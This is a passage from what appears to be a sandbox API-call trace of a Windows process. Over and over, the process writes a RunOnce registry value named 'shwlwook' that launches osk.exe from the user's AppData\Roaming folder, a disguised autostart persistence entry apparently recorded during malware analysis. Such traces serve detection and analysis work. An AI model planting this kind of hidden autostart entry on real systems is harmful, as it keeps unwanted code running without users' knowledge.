Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.494] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.602] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.602] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.603] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.603] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.603] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.604] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.604] RegCloseKey (hKey=0x14c) returned 0x0 [0259.604] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.604] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.617] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.617] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.617] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.618] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.618] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.618] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.618] RegCloseKey (hKey=0x14c) returned 0x0 [0259.619] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.619] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.633] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.633] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.633] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.633] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.633] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.634] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.634] RegCloseKey (hKey=0x14c) returned 0x0 [0259.634] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.634] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.648] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.648] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.649] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.649] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.649] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.649] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.650] RegCloseKey (hKey=0x14c) returned 0x0 [0259.650] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.650] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.664] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.664] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.664] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.665] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.665] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.665] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.665] RegCloseKey (hKey=0x14c) returned 0x0 [0259.665] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.666] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.679] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.679] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.680] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.680] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.680] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.681] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.681] RegCloseKey (hKey=0x14c) returned 0x0 [0259.681] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.681] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.695] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.695] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.695] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.696] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.696] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.696] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.696] RegCloseKey (hKey=0x14c) returned 0x0 [0259.697] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.697] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.711] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.711] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.711] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.712] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.712] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.712] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.712] RegCloseKey (hKey=0x14c) returned 0x0 [0259.712] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.713] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.726] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.726] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.727] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.727] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.727] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.728] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.728] RegCloseKey (hKey=0x14c) returned 0x0 [0259.728] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.728] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.742] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.742] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.743] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.743] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.743] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.744] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.744] RegCloseKey (hKey=0x14c) returned 0x0 [0259.744] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.744] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.764] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.764] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.764] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.765] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.765] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.765] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.765] RegCloseKey (hKey=0x14c) returned 0x0 [0259.765] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.766] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.789] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.789] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.789] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.790] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.790] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.790] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.790] RegCloseKey (hKey=0x14c) returned 0x0 [0259.791] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.791] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.805] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.805] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.805] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.806] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.806] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.806] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.806] RegCloseKey (hKey=0x14c) returned 0x0 [0259.806] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.807] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.820] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.820] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.821] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.821] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.821] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.821] RegCloseKey (hKey=0x14c) returned 0x0 [0259.822] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.822] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.836] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.836] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.836] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.837] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.837] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.837] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.837] RegCloseKey (hKey=0x14c) returned 0x0 [0259.837] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.837] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.852] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.852] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.852] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.853] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.853] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.853] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.853] RegCloseKey (hKey=0x14c) returned 0x0 [0259.853] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.854] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.868] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.868] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.868] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.869] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.869] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.869] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.869] RegCloseKey (hKey=0x14c) returned 0x0 [0259.869] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.870] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.883] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.883] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.883] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.884] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.884] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.884] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.884] RegCloseKey (hKey=0x14c) returned 0x0 [0259.884] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.885] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.885] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.885] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.885] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.898] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.898] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.899] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.899] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.899] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.899] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.900] RegCloseKey (hKey=0x14c) returned 0x0 [0259.900] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.900] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.914] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.914] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.915] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.915] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.915] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.916] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.916] RegCloseKey (hKey=0x14c) returned 0x0 [0259.916] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.917] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.929] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.929] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.930] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.930] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.930] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.930] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.931] RegCloseKey (hKey=0x14c) returned 0x0 [0259.931] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.931] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.949] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.949] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.949] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.950] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.950] 